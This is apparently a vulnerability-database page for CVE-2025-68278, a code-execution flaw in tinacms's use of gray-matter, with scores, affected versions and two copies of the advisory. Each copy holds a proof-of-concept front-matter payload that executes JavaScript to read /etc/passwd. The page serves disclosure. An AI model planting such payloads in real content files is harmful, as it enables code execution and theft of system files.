CVE-2025-68278
published 2025-12-18CVE-2025-68278: Tina is a headless content management system. In tinacms prior to version 3.1.1, tinacms uses the gray-matter package in an insecure way allowing attackers…
PriorityP353high8.8CVSS 3.1
AVNACLPRNUIRSUCHIHAH
EPSS
0.39%
31.1th percentile
Tina is a headless content management system. In tinacms prior to version 3.1.1, tinacms uses the gray-matter package in an insecure way allowing attackers that can control the content of the processed markdown files, e.g., blog posts, to execute arbitrary code. tinacms version 3.1.1, @tinacms/cli version 2.0.4, and @tinacms/graphql version 2.0.3 contain a fix for the issue.
Affected
9 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ssw | tinacms | < 3.1.1 | 3.1.1 |
| ssw | tinacms_cli | < 2.0.4 | 2.0.4 |
| ssw | tinacms_graphql | < 2.0.3 | 2.0.3 |
| tinacms | cli | >= 0 < 2.0.4 | 2.0.4 |
| tinacms | graphql | >= 0 < 2.0.3 | 2.0.3 |
| tinacms | tinacms | — | — |
| tinacms | tinacms | — | — |
| tinacms | tinacms | — | — |
| tinacms | tinacms | >= 0 < 3.1.1 | 3.1.1 |
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv4.07.3HIGHCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
tinacms is vulnerable to arbitrary code execution
ghsa·2025-12-18
CVE-2025-68278 [HIGH] CWE-94 tinacms is vulnerable to arbitrary code execution
tinacms is vulnerable to arbitrary code execution
### Summary
```tinacms``` uses the ```gray-matter``` package in an insecure way allowing attackers that can control the content of the processed markdown files, e.g., blog posts, to execute arbitrary code.
### Details
The ```gray-matter``` package executes by default the code in the markdown file's front matter. ```tinacms``` does not change this behavior when process markdown file, e.g., by passing a custom engine property for js/javascript in the options object.
### PoC
1. Create a tinacms app using the cli/documentation:
```
npx create-tina-app@latest
```
2. Modify one of the blog posts to contain the following front matter:
```js
---js
{
"title": "Pawned" + console.log(require("fs").readFileSync("/etc/passwd").toString())
}
---
```
3
OSV
tinacms is vulnerable to arbitrary code execution
osv·2025-12-18
CVE-2025-68278 [HIGH] tinacms is vulnerable to arbitrary code execution
tinacms is vulnerable to arbitrary code execution
### Summary
```tinacms``` uses the ```gray-matter``` package in an insecure way allowing attackers that can control the content of the processed markdown files, e.g., blog posts, to execute arbitrary code.
### Details
The ```gray-matter``` package executes by default the code in the markdown file's front matter. ```tinacms``` does not change this behavior when process markdown file, e.g., by passing a custom engine property for js/javascript in the options object.
### PoC
1. Create a tinacms app using the cli/documentation:
```
npx create-tina-app@latest
```
2. Modify one of the blog posts to contain the following front matter:
```js
---js
{
"title": "Pawned" + console.log(require("fs").readFileSync("/etc/passwd").toString())
}
---
```
3
No detection rules found.
No public exploits indexed.
2025-12-18
Published